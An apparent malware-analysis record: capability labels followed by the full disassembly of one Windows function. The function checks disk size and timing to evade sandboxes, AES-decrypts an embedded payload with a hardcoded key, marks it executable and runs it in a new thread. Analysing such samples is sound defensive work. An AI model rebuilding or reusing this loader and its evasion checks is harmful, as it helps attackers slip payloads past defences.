Function at 0x140001450
Capabilities:
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
sub rsp, 0x2b0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x240], rcx
mov qword [rbp + 0x248], rdx
mov qword [rbp + 0x250], r8
mov dword [rbp + 0x258], r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x1bc]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp + 0x1c0]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov rax, qword [rbp + 0x1c0]
mov edx, dword [rbp + 0x1cc]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x1d0]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x1d4]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x224], eax
cmp dword [rbp + 0x224], 0x63
ja 0x140001563
mov eax, 0
jmp 0x140001945
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov qword [rbp + 0x218], 0x7ffe0004
mov qword [rbp + 0x210], 0x7ffe0324
mov qword [rbp + 0x208], 0x7ffe0320
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov dword [rbp + 0x204], eax
mov rax, qword [rbp + 0x218]
mov edx, dword [rax]
mov rax, qword [rbp + 0x210]
mov eax, dword [rax]
shl eax, 8
imul eax, edx
mov rdx, qword [rbp + 0x208]
mov edx, dword [rdx]
mov ecx, edx
mov rdx, qword [rbp + 0x218]
mov edx, dword [rdx]
mov edx, edx
imul rdx, rcx
shr rdx, 0x18
add eax, edx
mov dword [rbp + 0x200], eax
mov eax, dword [rbp + 0x204]
sub eax, dword [rbp + 0x200]
cmp eax, 0x64
jbe 0x14000160b
mov eax, dword [rbp + 0x200]
sub eax, dword [rbp + 0x204]
cmp eax, 0x64
jbe 0x14000160b
mov eax, 0
jmp 0x140001945
movabs rax, 0x68bd0c63fb8b253a
mov qword [rbp + 0x1a0], rax
movabs rax, 0x6d0955cf14abddb2
mov qword [rbp + 0x1a8], rax
movabs rax, 0x317a726b44507073
mov qword [rbp + 0x180], rax
movabs rax, 0x3074373378736954
mov qword [rbp + 0x188], rax
movabs rax, 0x6d65687371596e6f
mov qword [rbp + 0x190], rax
mov dword [rbp + 0x1fc], 0x18
lea rax, [rbp - 0x10]
lea rdx, [0x140004028]
mov ecx, 0x190
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp - 0x14], 0x190
mov eax, dword [rbp - 0x14]
mov eax, eax
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1f0], rax
mov dword [rbp - 0x34], 1
lea rax, [rbp - 0x20]
mov dword [rsp + 0x20], 0
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
sete al
test al, al
je 0x1400016f8
mov eax, 0
jmp 0x140001945
mov rax, qword [rbp - 0x20]
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
sete al
test al, al
je 0x140001735
mov eax, 0
jmp 0x140001945
mov rcx, qword [rbp - 0x28]
mov edx, dword [rbp + 0x1fc]
lea rax, [rbp + 0x180]
mov r9d, 0
mov r8d, edx
mov rdx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
sete al
test al, al
je 0x14000176e
mov eax, 0
jmp 0x140001945
mov rcx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x20]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8, rcx
mov edx, 0x6610
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
test eax, eax
sete al
test al, al
je 0x1400017ac
mov eax, 0
jmp 0x140001945
mov rax, qword [rbp - 0x30]
lea rdx, [rbp - 0x34]
mov r9d, 0
mov r8, rdx
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
call rax
test eax, eax
sete al
test al, al
je 0x1400017e1
mov eax, 0
jmp 0x140001945
mov rax, qword [rbp - 0x30]
lea rdx, [rbp + 0x1a0]
mov r9d, 0
mov r8, rdx
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
call rax
test eax, eax
sete al
test al, al
je 0x140001819
mov eax, 0
jmp 0x140001945
mov rax, qword [rbp - 0x30]
lea rdx, [rbp - 0x14]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
test eax, eax
sete al
test al, al
je 0x14000185f
mov eax, 0
jmp 0x140001945
mov rax, qword [rbp - 0x20]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov eax, dword [rbp - 0x14]
mov edx, eax
lea rax, [rbp - 0x10]
mov rcx, qword [rbp + 0x1f0]
mov r8, rdx
mov rdx, rax
call sym.memmove
mov dword [rbp - 0x38], 0
mov eax, dword [rbp - 0x14]
mov ecx, eax
lea rdx, [rbp - 0x38]
mov rax, qword [rbp + 0x1f0]
mov r9, rdx
mov r8d, 0x20
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x1ec], eax
cmp dword [rbp + 0x1ec], 0
je 0x140001940
mov rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x2b0
pop rbp
ret